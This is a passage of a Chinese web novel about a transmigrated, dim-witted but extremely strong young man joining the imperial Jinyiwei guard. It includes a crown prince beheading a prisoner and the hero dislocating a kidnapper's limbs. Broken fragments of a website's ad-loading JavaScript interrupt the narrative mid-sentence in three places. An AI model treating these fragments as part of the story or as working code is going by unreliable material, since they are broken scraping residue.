《位极人臣》 1. 开始打工 锦衣卫衙门外,一辆马车缓地朝这边移动着。 这马车由远及近,隐隐约约能闻到木质的香味,其上覆盖的布料,若隐若现的浮动着一些金色的暗纹。 马车的两匹马毛色上乘,四肢矫健有力。 门口两位值守的锦衣卫对视一眼。 放在别处,肯定有人要说不知哪家贵人路过,阵仗浩大。 然而此处当差的人,最不缺勋爵子弟、高官后辈,对此等架势早已司空见惯。 因此,这两人仅是嗤笑一声,暗忖不知是哪家子弟,如此招摇。 不过,他们很快笑不出来了。 马车停至他们跟前,车帘被撩起。两人朝车内一望,瞬间咬牙切齿。 只见车内之人肩宽腰窄,眉弓微微突出有些异族风情,眉尾一颗小痣,往下是一双桃花眼,鸦羽般微长的睫毛在眼尾拉出一条弧线。 只是一抬眸,那英俊模样,就能将全上京的怀春少男少女的魂都勾去。 该死!定是敷了粉! 二人同时在心中怒骂。 好爱出风头的人!第一日来便敷粉,真是不知羞! 锦衣卫前身是仪鸾司,为皇帝监理仪仗事宜,可以算作皇家颜面。 因为这个原因,即便如今,此处当差的锦衣卫皆十分爱俏,少不了暗中比美。 门口这两人顺着裴期下车之动作,直直盯着裴期之脸,期望从中看出敷粉痕迹。 然而,无论如何察看,对方脸上皆是光滑白净,不见一丝粉痕。 于是,这两人又想,定是那极为名贵之脂粉,真是舍得下本! 听闻长安街那头新开一家铺子,售卖之脂粉香气扑鼻,又不留痕迹。 只是价格昂贵,一丁点儿便需一个月俸禄。 若是常人,被两个锦衣卫凶神恶煞地盯上一盯,就算心中不怕,也是会有些发毛的。 可裴期无论是穿越到这里前还是现在,他似乎生来就比别人迟钝些。 他总是读不懂暗示明示之类的东西,脑子直来直去的一根筋。 但他也有自己的解决办法—— 不明白的事情,通通当做不存在就行了。 管别人什么城府什么心机,别人怎么说就怎么回,问什么答什么,总不会出错。 因此,裴期毫无惧色地翻身下车,向前走了几步,从腰间掏出来一张文书。 上面说他今日便可以来锦衣卫衙门当差的文书。 见到任命书,门口站着的一人顺手接了过去,只是看了这文书一眼,他便挑眉。 他看向裴期。 他问:“你是裴府的郎君?” 裴期点点头答是。 另一人听到“裴府”两个字,也饶有兴趣的凑过来问。 “是裴府的大郎君还是二郎君?。” 裴期还没来得及回话。 原先的那人“啧”了一声,他脸上带着些嘲讽。 “你这话问的,裴府的二公子三年前就考取了探花,后来更是袭了爵,怎么会来与我们这些锦衣卫‘同流合污?’” 现在朝中文人大多自诩清流,一看到锦衣卫这些“鹰犬”“爪牙”,就像见了洪水猛兽一样躲得远远的,怎么会自己凑上来? 说罢,二人上下扫视了一眼裴期,不约而同想起几年前的事来—— 按律法来说,本朝的爵位只能袭给嫡长子。 但不知道原来的老裴侯是怎么了,宁愿让爵位降一等,哭着求着皇帝也非得把这爵位传给庶生的二儿子。 问他就说也只说大儿子天资愚笨,不配。 于是,全上京上到八十岁的老人,下到路边牙牙学语的小儿,都知道裴府大公子从小生下来就傻。 十四才学会说话,快及冠了还愚钝痴傻,逼的老裴侯丢了老脸也要求皇帝把爵位传给庶子。 当时他们也都笑过。 可现在想想,不就笨了些么? 有什么大不了的? 那皇帝未必喜欢聪明人手里有权柄呢。 有什么必要闹的亲生儿子面子里子都没了? 只怕还是和那后母还有后母生的弟弟有关,古往今来,男人大多是偏爱后来生的儿子的。 这些世家大族的子弟最恨的就是——父亲不知道从哪里冒出来一个孩子,这个孩子还要来抢自己的东西。 可这人一下子就被抢走了爵位,顺道连名声都败坏的不成样子,日后成亲分家之后也不知怎么过活。 可怜。 二人心中唏嘘,连带着对裴期的态度也好了不少。 他们把文书交还给裴期,身体一侧朝旁边让开,说:“你且朝里边儿去,千户他们昨日才刚商议过,你归杨小旗管。” 他们说着,没了方才咬牙切齿的模样,神情柔和了许多,仔细看上去甚至有点儿哄小孩的意味。 怕裴期找不到那个杨小旗,一人朝里边儿的那个红色的门指了指。 右手食指又顺着左眼的眼头往鼻梁上虚划了一下。 “顺着那个门走,杨小旗的脸上有一道这样的疤,莫找错人了。” 新人来的第一天,不管干了什么惹人笑的事,说不准都是要传三四年的。 裴期皱眉,感觉这两个人对自己的态度有点儿怪,但也说不上哪里奇怪。 但他牢记着阿娘的叮嘱,来锦衣卫当差就要好好当,不能像在家里似的想说什么就说什么。 于是他也没有问,只是朝两个人点点头道了谢就朝里边儿走了。 见裴期离开的背影。 给他指路的人笑了笑,朝旁边的人随口打趣道: “倒是沉得住气,这样冒犯他,他也不说些什么。” —— 裴期按照那两人的指示,朝着红色的门走去。 一路上,尽管是裴期这样迟钝的人,也能锦衣卫衙门内气氛压抑肃穆。 每个人都神色匆忙地走来走去,他们脸上都带着郑重严肃的神色,看不见一个人脸上有笑意的。 这里仿佛遇到了什么棘手的事情。 不多时,裴期便看到了那个脸上有疤的杨小旗。 锦衣卫的官位分为小旗,总旗,百户,千户等。 其中小旗手下大概掌管着十余人,一般负责普通的日常巡逻或者协助抓捕等。 只有往上去的官职,千户以上的才能干那些诸如盯梢,抄家之类的任务。 杨小旗身姿挺拔,眼神锐利,脸上的疤更是为他增添了不少威严的气概。 他似乎忙得很,一手拿着公文,一手拿着一把绣春刀。 杨小旗眉头紧皱着,似乎遇到了什么棘手的事。 见到裴期,杨小旗把右手拿着的那把绣春刀抛过来,然后说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' : “拿着你的刀,晚上同我们一起夜巡。” 绣春刀外形狭长,刀身优美,无论观赏性还是实用性都极佳,因此被作为锦衣卫的标志性武器。 裴期抬手接过这把上面有金丝花纹的绣春刀。 入手瞬间他就感觉了到刀身的重量与冰冷质感。 杨小旗抬了抬眼看裴期。 从前锦衣卫用绣春刀,为了灵活美观和便携带,总是用那刀身轻又薄的,可这样就免不了与人交战时刀身受损。 这样无论对于朝廷的财政还是锦衣卫们的任务执行都是弊大于利。 因此,从这个年度起,绣春刀的刀身统一换成了重的,锦衣卫需得日日操练,以熟悉新的武器。 有不少锦衣卫都抱怨,这刀极重,比不得以前的绣春刀轻便,耍起来也没有从前的帅气。 可反观裴期,不仅接刀反应极快,刀落入他的手中也如鸿雁归巢悄无声息。 观其神色,也不见任何吃力或皱眉的样子。 杨小旗微微颔首,似乎还算满意。 终于没给他塞那些一丁点儿作用都指望不了的娇气公子哥儿了。 他是军士出身,因立了军功才被破格选拔来这儿的,最是看不惯那些做派。 “今晚你第一次夜巡不可掉以轻心,最近城中不太平,常有妇女孩童失踪,有不少可疑之人出没。” 说罢,他也不等裴期回什么,转身继续忙自己的事情去了。 裴期对于近期城内的事情也有所耳闻。 不知是哪里来的拐子,手段高明,两个月内竟然悄无声息拐走了数十位孩童与妇女,连上京里一位官员的孩子都遭遇毒手。 天子脚下竟然发生这样的事情,圣上大怒,勒令大理寺与锦衣卫一起在半个月内缉拿罪犯,可眼瞅着定下的日期快要过去,仍旧是毫无头绪。 迫不得已,锦衣卫只得暂停手下的一切任务,将所有人手投到巡城当中,以期盼能找到点儿什么线索。 裴期就是趁着这样缺人手的时候得到的那张认命书的。 他按照认命书上的内容,到了房外领了锦衣卫司里给每个人派发的暗色罩衫一件,上身软甲一套。 在这里忙碌着的锦衣卫大多数都是穿着这样的,像皇城侍卫衣服。 飞鱼服确实看上去英俊潇洒,可并不是每个人入职了锦衣卫就能穿的,往往要立下一些功劳由皇上赏赐或者是到达一定的官级自己去找人做。 否则像裴期这样刚来的,只能老老实实穿这样侍卫的衣服。 裴期将罩衫套在身上,又把软甲调节的带子系上,普通的衣服愣是被他穿得像什么金丝绸缎名贵甲胄一样。 负责管理库房的人看楞了。 往常别人只说人靠衣装,这下倒是变成衣靠人装了。 裴期刚把软甲整理好,就不知从哪儿窜出来个人。 那人自来熟地勾住裴期的肩膀。 “太子殿下与咱们指挥使在那边审人,要不要去看看?” 太子李稷是圣上长子,如今已二十又七,圣上将大理寺的一些案件和部分监国的事务交给了他。 裴期一想,是自己上级的上级。 然后他又想,阿娘交代,当差要听上级的话。 于是他点点头,丝毫不顾自己和这人之前并不认识。 “看。” 2. 太子好帅 裴期被人半拉半扯就去了锦衣卫司的讯堂。 勾着他肩膀的人脸圆圆的,眯着的眼中看上去明显有一点不怀好意。 “到了。” 现在明明天还没黑,讯堂中却一片黑暗,只有房间的四个角落里点着的一些火把能够提供一些微微的亮光。 这是锦衣卫审讯的常用手段,把人带到内部高挑的屋内,用不透光的黑布将顶上的小窗遮住,好让这里的犯人不知白天黑夜。 墙上还挂着五花八门的刑具,让犯人看了就心生惧怕。 不过就算是这样的手段,也只有那些进来之前有些身份,圣上特意关照过的人才能够享受的。 要是换了其他的人,墙上挂着的那些刑具用就会直接用来招呼到他们的身上。 而眼下跪在这里接受审讯的一群人显然就是那种进来之前就身份不一般的。 他们脸上的肉饱满,牙齿完整,尽管在这样的情况下都把自己的头发与着装整理的整整齐齐。 一看就是进来之前养尊处优的。 讯堂最前面摆着两个两把椅子,椅子的中间有一个小桌子,上面摆着一壶茶,几个茶杯,还有一些茶点。 左侧椅子上坐着一位面容严肃,穿着飞鱼服的人。 右侧椅子上则坐着一位着一身玄色衣裳的。 飞鱼服是锦衣卫标志性的服饰,锦衣卫的指挥使想必是会穿的。 那么坐着的另外一位应该就是太子—李稷。 指挥使的脸看着倒是清楚。 但裴期使劲眯了眯眼也看不清楚李稷的样貌。 屋内微弱的亮光似乎不足以将李稷完整的面庞照亮,只是一打眼看上去,这太子的身量竟比那指挥使还高大,威武异常。 他的眼睛被隐藏进了黑暗之中,只露出高挺鼻梁和饱满的唇。 与他高大身材形成对比的是,此刻那唇勾着,看上去十分温和。 审讯都是这副模样,不由得让人怀疑,不会是根本不懂如何审讯,只是来走一下过场的草包吧。 裴期身体往前倾了一下,想看清楚那张脸,可他站地太远了,不管怎样都只能看清那半张。 带他进来的那个圆脸扯了一下他的衣服,小声说: “带你来这儿原是想吓吓你,我当你会怕呢,哪想到你如此大胆,安分些站好,当心冒犯了那位殿下,你新来的第一天便想挨罚吗?” 裴期想了想,对方说得对。 第一天,不能闯祸。 于是他乖乖站好了不动。 圆脸撇了他一眼,意外他这么听话。 然后只见那边的指挥使手一挥,便紧接着就有两个锦衣卫将排在最前头犯人押了上去。 犯人被两个人压着被迫膝行到指挥使和太子的跟前,如此狼狈,却仍未减损脸上倨傲,见到指挥使和太子,他脸上非但没有惧色,反而怒目圆睁。 “本官早已说过,那两万两白银途经本官手之时分明分毫未减,此事根本与我无关,你们锦衣卫徒增冤狱,还有脸设堂审讯!果真是办事废物的狗腿子!” 裴期有些不明白,这人明明已经落得如此境地,为何还这么理直气壮? 见他不解,旁边的圆脸贴心给他解释着:“这是兵部主事的张大人,是这群人里官最大的,还是国舅爷一母同族的兄弟,也就是和宫里最受宠的那位娘娘一族的。” 裴期若有所思地点了点头。 旋即,圆脸又一脸气愤地小声说, “要是换做旁人,他们早就把这些刑具全都试了一遍了,也就是仗着知道我们不敢把他们真的怎样。” 而那边,指挥使也是同样发怒,听见张大人非但不认罪反而朝锦衣卫泼脏水,他面色微微一沉, “张大人,你身为兵部主事应该明白污蔑朝廷命官是什么罪。” 哪知道张大人听见这话丝毫不怵,仰头大笑道, “污蔑?”他把头直起来,扫着四周, “你们锦衣卫办事不公,屈打成招的事情还少吗?今日就算是把我杀了,我也不会承认这莫须有的罪名!” 见到领头的人这样,背后的那些等待审讯的人居然好像找到了底气一般。 他们把腰杆挺得笔直,一个个好像真的被冤枉一般,挺着腰,昂着头,仿佛要彰显出自己不屈的风骨。 太子李稷一直未发一言,此刻却微微抬手,示意指挥使稍安勿躁。 他上身前倾,将那双上挑的眼从黑暗之中露了出来,他仍旧勾着唇,温和地说:“张大人,你既说此事与你无关,那你可有证据?” 张大人冷哼一声:“证据?本官行得正坐得端,何须证据?倒是这些锦衣卫,无端抓人,滥用刑罚,该当何罪?” “那请张大人说一下那银子是如何从你的手中到下一个人的手中的。” 李稷笑着做了个“请”的手势,很客气的模样。 “大理寺已留存证据,张大人务必如实交代。” 那边的张大人微微扬起下巴,心想太子殿下这模样审讯手段定是不如这些锦衣卫的千分之一的。 一个“请”字就妄想审出真话? 太子又如何?在他面前也只是黄毛小子一个! 他料定大理寺中的证据残缺不全,需要他的证词才能归案!这群人根本不敢对自己怎样! 若不是此番境地,他简直要抚掌大笑,嘲笑这黄毛小子的无能! 于是他神色更加傲然,仿佛纡尊降贵一般,说出那段他和那些同伙编出来的,已经烂熟于心的话: “那银子乃是正常交接,本官按照流程将其转交给了负责下一站押送之人,交接之时,双方皆有记录在册,若不信,大可去查……” 话没说完,他脖子便一阵发凉,寒芒闪过,他没说完的话与人头一齐落地。 听他说了几天瞎话的太子殿下,站在原地,将那把取他首级的刀收入鞘中。 有一些血溅到了他的身上。 后面有些犯人猝不及防看到了张大人那还跪着,来不及倒地的无头身体。 这些养尊处优的人哪里真的见过这样的场面? 他们被吓得当场呕了出来。 地上一片污秽。 锦衣卫其实素日会用不少比这残忍上千倍的刑罚。 但他们仍旧被震惊了。 不是震惊这状况惨烈,而是太子如此反复无常。 须臾之间,室内似成两极之境。 一侧乃锦衣卫所立之处,静谧至极,几可落针闻声; 另一侧则为犯人所在,哭嚎与求饶声几欲响彻云霄。 李稷此刻挺身而立,恰好遮去些许光亮,其身影如墨,黑压压的,愈显威武高大。 他面上依旧含笑,然众人再无一人觉其温和。 令人胆寒。 四周之人噤若寒蝉,不敢直视。 疯子,疯子。 可怜张大人到死都不明白,自己都糊弄太子殿下好几天了,怎么会在今天就忽然发难呢? 头颅骨碌碌地转,一路滚出斑驳血迹。前方伫立之锦衣卫,没有防备,都下意识避让,竟硬生生让出一条道来,任那头颅一路滚去。 不一会儿就滚到了裴期的脚边。 裴期低头,看到了脚边“张大人”那一张死不瞑目双眼大睁的脸。 他皱了皱眉,脚上这双是为了当差新买的靴子,第一天就被污血给弄脏了。 正如之前说的,裴期向来迟钝,对于情绪并不敏感。 所以现在,他也只当没事发生一样,站在原地。 他脑海中只牢记着——第一天,不能闯祸。 他浑然不知自己的举动在人群中是多么异类。 在犯人哭天抢地要交代证据,周围锦衣卫都脸色铁青的时候,裴期就那样,安静地,好像什么也没发生一样站在原地。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 昏暗光线,地上血迹,人头,哭嚎的犯人,裴期平静的样子和他那张美如冠玉的脸放在一起,实在不搭。 李稷当然也注意到了。 他看了过来。 与裴期视线交汇的瞬间,李稷眯起了眼,冲裴期招了招手: “烦请,将张大人带出去。” 他说话客气,好像是谁也不会得罪的。 但他身上还在滚落的血珠却并不认同这点。 换了旁人早就心惊胆颤,可裴期心中却无甚波澜,他只是心中牢记阿娘那句要好好干的叮嘱。 于是他听从太子的吩咐,自然地弯下腰去,伸手扯住了几缕头发,将那东西提了起来。 他没意识到,身旁站着的锦衣卫看向自己的眼神,已经从担忧变成了震惊。 这小子新来的第一天就遇到这种情况居然面不改色。 猛。 锦衣卫的新人来先吐三天已经是老传统了,而这新人…… 实在是猛。 裴期腿长,迈了几步就到了李稷的面前,他弯腰,用另一只手提溜起张大人的身体,准备离开。 可起身的一刹那他有些愣住了。 首先是桌子上那盘茶点。 不愧是圣上看重的锦衣卫,茶点也是用了十成十的料,奶味,甜味,茶味扑鼻。 裴期从小就天生怪力,自然胃口颇佳,今日为了赶车来之前没怎么吃,现在早已饥肠辘辘,因此隔了这么段距离都能闻到香气。 其次是李稷的那身衣服。 裴期刚才可见到有不少血洒了上去,如今却分毫未湿。 沾血不湿。 他想了想自己那双被血污弄脏的靴子,羡慕极了。 然后是李稷的眼睛。 裴期总感觉右边的正常,左边的却灰蒙蒙的,仿佛被雾蒙住了一样。 最后是…… 这太子远看很帅,近看了真的很帅。 倒也不是说裴期真的笨到所谓的“美而不自知”,“不知道”自己的脸也是美的,反而去羡慕别人的样貌。 只是他总是喜欢一些硬朗的,英俊的,深邃的长相。 人总是喜欢一些自己没有的东西的。 李稷也觉察到了裴期的眼神。 他笑着问:“怎么了?” 怎么了? 当然是:香甜扑鼻的糕点、沾血不湿的衣裳,灰蒙蒙的眼睛还有殿下英俊的脸。 裴期猛然回神,忽然想起“上级的上级”“好好当差”之类的事情。 他也有心解释,可他从来不是机警的聪明人精,也不是什么世故的油滑鬼。 他的脑容量也不允许他一瞬间想出什么圆滑的回答。 电光火石之间,他下意识说: “殿下很厉害,很帅。” 李稷有些诧异,他追问了一句, “什么?” “殿下英武不凡,令人仰慕。” 可喜可贺,答第二遍相同的题裴期总算是把脑袋里一堆老大牛逼之类的话翻译成成语了。 李稷没有继续问,他只是看着裴期。 裴期也看着李稷。 他其实也不知道现在是什么情况,更加猜不出眼前的人是什么意思,只是按照惯常的做法—— 既然猜不出人家有什么深意,那就问什么答什么就好了。 讯堂内氛围颇为古怪。 而此时,问讯赶到的杨小旗如同天降神兵一般推门而入,他径直走到裴期的旁边单膝跪下,禀报说: “殿下,指挥使,裴期今晚需得随属下夜巡。” 李稷没有回答。 旁边的指挥使瞟了一眼李稷,又看了一眼裴期和杨小旗,然后点头出声:“现在天色确实不早,去吧。” 然后, 裴期就提着人头,扛着尸体,穿过一众锦衣卫各式各样的眼神。 被杨小旗拽了出去。 3. 第一次夜巡 子时,夜巡。 上京富裕,本朝的皇帝下令放开之后,夜市就繁荣了起来。 按道理来说这个时间点夜巡也不至于太无聊。 但裴期所在的锦衣卫小队被分到了京郊,光是赶到这儿就花费了不少时间。 京郊比不上里边热闹,现在是子时,这里黑灯瞎火,无比冷清。 杨小旗手里提着一个灯笼,站在这一队人的最前方,领着这队人夜巡。 裴期跟在队伍的中间走。 旁边有人在滔滔不绝。 “这小子胆子是真大,当时都给我吓住了,以为太子殿下还要把他也砍了。” 这人叫钱苗,也就是将裴期拉进讯堂的那个圆脸。 他是京城富户钱老爷的幺子,因钱老爷在江南寻了个什么“祥瑞”献给皇帝才被收进锦衣卫的。 钱苗一巴掌拍向裴期的后背, “哎,你说你怎么就那么机灵,想出那些乖巧话的?” 与那些词比起来,裴期的夸赞确实有些不着调。 像是没读过几句书,肚子里没点儿墨水的莽夫。 那些文人夸起来都天花乱坠,什么宛如日月之辉,什么如高山巍峨,哪里只会说厉害,好看这种词? 裴期不知道怎么答。 只是没想到,自己有一天也能和“机灵”两个字扯上关系。 在裴府时他因实在学不懂古文八股文,又实在不会作诗画画,在家里人眼里简直就是烂泥扶不上墙。 不给他找个活干,脑子又不灵光,以后怕要给自己饿死。 他想了想,然后说: “我心里这样想,就这样说了。” 钱苗笑出了声,他啪啪啪地连拍了几下裴期的背, “哎哟哎哟,得了吧你,我们这里可没人当狗腿子传话,你不用在这里也假奉承,歇着点吧,留着这点儿劲头,日后也奉承皇上去。” 旁边响起了几个锦衣卫的笑声。 听到“奉承”两个字,前面带队的杨小旗忽然出声: “钱苗,我跟你说过多少次,少带新人去那种地方,万一今天有什么闪失,你以为你能逃得掉?到时候可别连累了指挥使大人。” 新来的锦衣卫指挥使性格比上一任和善多了,除了训练和做任务的时候严格了一点儿,总体上来说不爱罚人。 因此大家都愿意听他的话。 钱苗瘪了瘪嘴,正想反驳。 旁边有人取笑他: “杨小旗,你不懂,他这是自己受过的苦,就想让别人也尝尝。” “哈哈哈,钱苗第一天来锦衣卫的时候,看到审人吐了好几天,在家里躺了快半个月呢。” 钱苗涨红了脸反驳:“那是因为我刚来的那天,你们刚好在用刑,有谁受得了?现在还有好多人看不了这个呢。” “少来,那天连只上了个竹夹板,夹烂了犯人手指上的皮肉而已,哪里是什么酷刑?” “哈哈哈哈。” …… 杨小旗没有制止他们的行为。 夜巡无聊,总得说点什么来活跃下氛围 。 不然,哈欠连天,怕是眼前有只老虎出来也看不到。 只是裴期的肚子忽然咕噜噜地响了起来。 他刚才就已经饿了,一直到赶到夜巡的地方都没来得及吃上一口东西,到了现在自然是已经饿的前胸贴后背了。 裴期本想下差之后在家里的小厨房吃点厨娘擅长的蜜乳羊奶膏,可夜巡结束时间太晚,看样子他已经等不到了。 钱苗正等着机会转移话题,找个别人来被这些同僚们揶揄呢,于是,听到这个声音,他一下子勾住裴期肩膀调侃道: “怎么,你这么快就饿了?” 裴期倒并不觉得公开场合饿了是什么丢脸的事儿,他诚实地点了点头。 “我饿了。” 这下子倒是钱苗有些尴尬了,他本想看这小子出糗好转移话题呢,谁知这小子根本不按套路出牌。 于是他也放弃了之前的想法,反而是两眼放光地给裴期推荐起吃食来。 “那正好,等会儿我们夜巡完之后,去看看杨小旗家开的那馄饨铺还开不开着,去吃碗热馄饨。” 杨小旗听到,往后瞟了一眼,没说话。 裴期听到馄饨两个字就更饿了,他问:“很好吃吗?” 钱苗一副“你这都不知道”的表情,顿时张嘴开始介绍起来: “那是当然!嫂子的一手馄饨那可是出了名的!馄饨皮用的是好的精白面,单吃都好吃,更别提里面还舍得放肉,肉里裹着姜蒜,一口下去咸鲜味浓。” “馄饨汤里放点猪油,豉油,葱花,啧啧啧,真妙不可言。” “他们家那铺子上的馄饨,我就没见过碗里剩点儿啥的。” … 裴期听得更饿了。 但忽然,还在不停介绍馄饨的钱苗骤然闭嘴。 刚才还在嘻嘻哈哈的锦衣卫们几乎是在一瞬间安静了下来。 他们整齐划一地摆出戒备的姿态,按住了自己腰间的绣春刀,戒备地看着四周。 一股浓烈的脂粉香气传来,熏得人几乎想要打喷嚏。 一道黑影闪过。 “谁?!”杨小旗出声。 嘿,倒也真的停不下来,站在不远城墙的阴影下,连身形都看得不是很清楚。 “站住!锦衣卫例行检查!”杨小旗说。 黑影没有回话。 但他的怀中却传来一阵孩童哭啼。 “呜呜呜……”孩童的声音刚一出来便被捂住了嘴。 “闭嘴。”黑影恶狠狠地朝孩童说。 几乎是一瞬间,所有人都想起了锦衣卫与大理寺一起调查的那一件悬而未决的案子。 于是,有那动作快的当场就飞身过去,试图逮住这个人。 可黑影反应也极快,还不等碰到他的衣角他便闪开了。 这一闪,他就暴露在了淡淡的月光之下。 只见一个长相极普通的男人,他站在那里好像路上会遇见的每一个普通人。 的怀中抱着一个明显就是富贵人家的小孩儿,小孩儿粉雕玉琢,脸圆嘟嘟的,身上穿的衣服也看上去价值不菲。 此刻,刚才还哭声洪亮的小孩儿不知被什么手段弄晕了过去,身体软软地垂在了那男人的怀里。 随着男人在那里站得越久,空气中的那脂粉香气愈加浓烈。 杨小旗目光一凛,也飞身上前想要抓住这个家伙。 可这男人转身一扭,又躲过了,他脸上露出一丝得意的笑容:“怎么还想抓我?我告诉你,你们的千户都奈何不了我,我告诉你们,今天就是天王老子来也没人能抓到老子!” 说吧,他右脚在地上碾了几下,竟是凭空遁入进了这土中。 众人震惊,连忙上去看这男人消失的地方。 只见那土平平整整,根本就没有一丝被挖开的痕迹。 杨小旗咬牙切齿: “这贼人我们好几次险些就抓住了,可他不知从哪里练就了一身飞天遁地的本领,押送过程中总是被他逃掉。” 裴期也上前来,看着地上没有一丝痕迹的土地若有所思。 作为21世纪的人,他自然是不会信世界上会有飞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 天遁地的超自然事情发生的。 当下解决不了的超自然世界,或许再过几年就会有科学的解释出现。 什么飞天遁地,绝对不是所谓的仙法,都有迹可循。 这时,那贼人还没走,在他们的脚下猖狂大笑。 “来啊!你们这群蠢货,能抓得住爷吗?” 裴期并不是脑子很好使的那种聪明人,虽然他知道飞天遁地是不可能的,但让他马上弄清楚就贼人遁地的原理,实在是有些难为他了。 不过他想了想,得出一条非常简单的结论。 既然贼人明显是躲在了地下,那就把这地弄开,看着贼人能往哪儿逃? 世间所有的事,裴期一根筋的脑袋里都是统一的解决办法—— 力大砖飞 恰好裴期又有一身不知道哪里来的怪力气,虽然现在是饿了点,不过也不影响。 于是,锦衣卫的众人就瞠目结舌地看着裴期随便捡了个半人大石头,直接把地面锤开了一个豁口。 一刹那间,他们只感觉地下一阵晃动。 怎么回事? 难不成这里是真可以被打开……不,砸开的? 这些贼人遁地的地方与其他土地样貌并没有不同,再加上下面是一些坚硬的岩石,先前并没人怀疑这下面还有什么空间。 毕竟这个时代,人人都很信什么奇门遁术。 里面的贼人似也是有些慌了。 这里的地道为了做到逼真和外面的土层一模一样,几乎全体都是用天然坚硬的石头打造的,应该不会这么脆弱。 这小子究竟是怎么做到的? 裴期不知道在场的这些人心里的那么多心理活动,只是弄出一个洞来之后便从容跳了进去。 然后在场的人只听到里面一阵响声和贼人的咒骂声,还有击打声。 不一会儿,咒骂声戛然而止,裴期就这么将这人揪了出来。 裴期一手攥着这贼人的后脖领拖着,另一只手就夹着那小孩儿,从洞里面跳了出来。 杨小旗看着他的手,大声提醒道:“这贼人油滑地很!别让他跑了。” 听到这话,裴期侧头,果然看到贼人缩着肩,想逃走的样子。 裴期皱眉,眼疾手快直接卸了对方的半边手臂。 贼人还没意识到发生了什么,手臂就脱臼着,软软地垂到了地上。 裴期见状,觉得这人短时间内应该没办法逃了,于是并不会抱小孩儿的他转身就想把怀里的小孩儿交给杨小旗。 可地上那人似乎还不死心,还是想逃,于是试图利用剩下的四肢离开。 刚把这小孩儿交到给杨小旗怀里,裴期回头就看到了这样一幕。 还能跑,那就是没卸够。 于是他慢吞吞地地蹲下身子,又把贼人另一半肩膀给卸了。 卸掉手上的关节还没完。 接着是左腿,右腿,脚踝…… 手脚脱力的恐惧和自己肢体上传来的响声让贼人被吓得惊恐不已,大呼饶命,看裴期的眼神像看什么恶鬼一样。 到底是什么人会这样做,这人连那些锦衣卫动手之前的威胁都不说,直接就上手了?! “饶了我吧,我知错了,饶了我。”贼人喊道。 裴期倒也并没有折磨这贼的想法,他只是单纯地怕对方跑了。 明明干的这么凶恶的事情,裴期表情却没变,好像这是一件稀松平常的事一样。 杨小旗抱着小孩儿,下意识捂住了小孩儿的眼睛,生怕小孩儿醒来看到这一幕。 他眼皮直跳。 “你这是从哪儿学的这个?” 4. 王狗公公 裴期从小就有一身怪力。 但他当时年纪还小,骨头又嫩,用力过大伤到自己,导致脱臼对他来说是家常便饭。 那时他父亲还没死,所以一些军队里的医工会经常卖个人情给裴府,经常过来给他治病。 军队里的医工并不像寻常大夫一般温声细语,轻手轻脚,反而个个生地高大,给他治疗也是用力一掰就给他骨头复位了。 久而久之,裴期自己就也会了,哪怕现在他骨头长硬了,不会被自己给甩脱臼了,但对于这一项技能还是十分熟练。 可这样解释起来太麻烦,裴期思索了一下,索性就说:“熟能生巧。” 裴期哪怕在古代这么久了,也还是不能熟悉用词。 他心里想的意思是“久病成良医”,一时之间忘了这句话,就只能说“熟能生巧”。 可这就难免让人觉得此人暴戾异常,经常干出卸别人胳膊手脚的事情来。 果然,听到这四个字的杨小旗无语凝噎。 感情你还经常这么干?还就这么说出来了?孩子还在这儿呢! 他现在连小孩的耳朵也想捂住了。 想到这里,他忽然想起,这小孩刚才还能爆发出洪亮哭啼声,可现在安静极了。 不知道是这贼人用了什么手段。 于是杨小旗皱眉,他上前一步,用脚踹了踹躺在地上的贼人。 “说,你给这小孩用了什么东西?” 贼人张了张嘴,又抿上嘴,不肯说。 于是裴期就蹲下身,准备询问一番。 但这一蹲他就看见了贼人怀里揣着的干粮糕点。 做这行的,天天在外奔波,哪能怀里不装点儿干粮呢? 之前是脂粉香气太浓,裴期竟然没闻到这糕点的甜味。 不看到还好,可现在看到糕点,裴期本身又饥肠辘辘的,他一时不察…… 一滴口水就滴了出来。 贼人愣了。 杨小旗愣了。 裴期恍若未觉,坦然开口问, “你给……” 但他话还没说完,贼人忽然强烈地哭嚎了起来。 “我错了!我知错了!不要吃我!我不好吃!” 这下裴期也愣了。 他下意识说:“你又不好吃,我没准备吃你。” 哪知,听了这句话,贼人哭嚎声更大。 尖锐的哭嚎声传过来,在场的锦衣卫们恨不得把耳朵堵起来。 也不知道裴期在这个人心中已经成了什么罗刹的形象,竟然能怕成这样。 但他怎么就误解成了裴期会吃人,寻常人遇到这种情况的第一反应哪里会是这种想法? 钱苗不耐烦,上前给了地上的人一巴掌,“哭什么?你有什么脸哭?有这个哭的时间你不如交代明白。” 脸上浮现出一个红色的巴掌印,贼人这才回过神来,一咬牙,断断续续地说, “只……只是一些迷药,对身体并无害处,只会让人睡一觉,迷药贵,我用地少……” 钱苗听了,对着他的另一半脸又是一巴掌,“呸,少也是用了,该死。” “这人与之前锦衣卫同大理寺在查的儿童与妇女的失踪案有关。” 杨小旗沉声笃定道。 然后他又看向裴期, “裴期,这人是你抓住的,你就也将他带回锦衣卫司。” 这件事情如果是放在别的小旗那里,保不齐就自己揽功了。 但杨小旗出身军队,没这恶习,于是裴期就这么无知无觉地立下了来到锦衣卫的第一个功劳。 裴期将贼人一把捞起扛在了肩上。 杨小旗欲言又止,想说一般锦衣卫都是让这些贼人自己站着走回过去的,但他想了想裴期那身怪力…… 算了,这样也好,犯人怎样也逃不掉了 —— 为了节省时间,裴期扛着已经痛晕的贼人穿过了上京最繁华的地方朝着锦衣卫司赶。 已经到这个时辰了,这里的夜市却还是开着,灯火通明。 时不时还能闻到一股浓郁辛辣的香气。 裴期想起刚穿越的时候,因为学不懂古人的书,读不懂古人的字,被人觉得是傻子。 那时他很懊恼,拼命想在别的事情上面证明自己。 他还想过效仿看过的小说开个什么火锅店之类的暴富。 但现在看来,这个时代的火锅工艺已经成熟,根本没办法赚钱。 裴期轻轻叹了一口气。 幸好当时没有一时冲动,现在就这样做个普通人也挺好的。 穿到古代,也不一定就要翻云覆雨,做个什么万人之上的大人物。 裴期并没有注意到,他们这队人越是往前走,旁边的路人就越是往两边让开。 他们经过的地方,原来吵闹的声音都瞬间变得安静起来。 